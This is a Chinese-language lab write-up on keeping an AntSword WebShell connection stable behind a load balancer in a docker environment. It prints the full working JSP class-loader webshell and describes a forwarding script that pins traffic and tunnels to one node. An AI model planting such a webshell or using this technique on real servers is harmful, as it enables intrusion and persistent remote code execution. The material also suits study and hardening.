负载均衡下的 WebShell 连接

环境的下载

架构

实验的环境：

假定业务中存在RCE漏洞，上传了 WebShell 之后, 因为负载均衡的存在, 导致后续上传的工具、执行命令等操作出现不连续的情况。演示环境中, LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jsp

启动环境：

root@ubuntu-virtual-machine:/home/ubuntu/ant/loadbalance/loadbalance-jsp# service docker restart
root@ubuntu-virtual-machine:/home/ubuntu/ant/loadbalance/loadbalance-jsp# docker-compose up -d

首先尝试访问一下

查看一下配置(这里可以看出来反向代理到两台服务器上拉)

查看一下两台服务的一句话木马

root@ubuntu-virtual-machine:/home/ubuntu/ant/loadbalance/loadbalance-jsp# docker exec -it aaafdf847a6c  /bin/bash
root@aaafdf847a6c:/usr/local/tomcat/webapps/ROOT# cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>root@aaafdf847a6c:/usr/local/tomcat/webapps/ROOT# 

root@d7180bd7e959:/usr/local/tomcat/webapps/ROOT# cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>root@d7180bd7e959:/usr/local/tomcat/webapps/ROOT# 

连接测试：（在蚁剑中添加Shell）

连接成功后我们发现IP地址在两台服务器不停的飘逸

有四个问题

难点一：我们需要在每一台节点的相同位置都上传相同内容的 WebShell

难点二：我们在执行命令时，无法知道下次的请求交给哪台机器去执行。

难点三：当我们需要上**传一些工具时，麻烦来了：**

难点四：由于目标机器不能出外网，想进一步深入，只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel，可在这个场景下，这些 tunnel 脚本全部都失灵了。

解决一二三还可以通过反复上传的方式来实现到了难点四直接劝退

答案来了：我会出手

创建 antproxy.jsp 脚本

修改转发地址，转向某个 Node 的 内网的 WebShell 访问地址。图中将 target 指向了 LBSNode1 的 ant.jsp （注意两台都要上传）

在上传文件我遇到了一些困难：就是上传文件的时候一直疯狂点保存也没有用

解决办法：先上传一个antproxy.jsp给一台服务器，然后在蚁剑在开一个新的连接192.168.242.135:18080/antproxy.jsp,然后在192.168.242.135:18080/ant.jsp上传一下就ok啦

测试

查看一下 Node1 上面的 tomcat 的日志, 可以看到收束的过程

优点：

• 低权限就可以完成，如果权限高的话，还可以通过端口层面直接转发，不过这跟 Plan A 的关服务就没啥区别了

• 流量上，只影响访问 WebShell 的请求，其它的正常业务请求不会影响。

• 适配更多工具

缺点：

• 该方案需要「目标 Node」和「其它 Node」 之间内网互通，如果不互通就凉了（敲黑板：加固方案快记下来）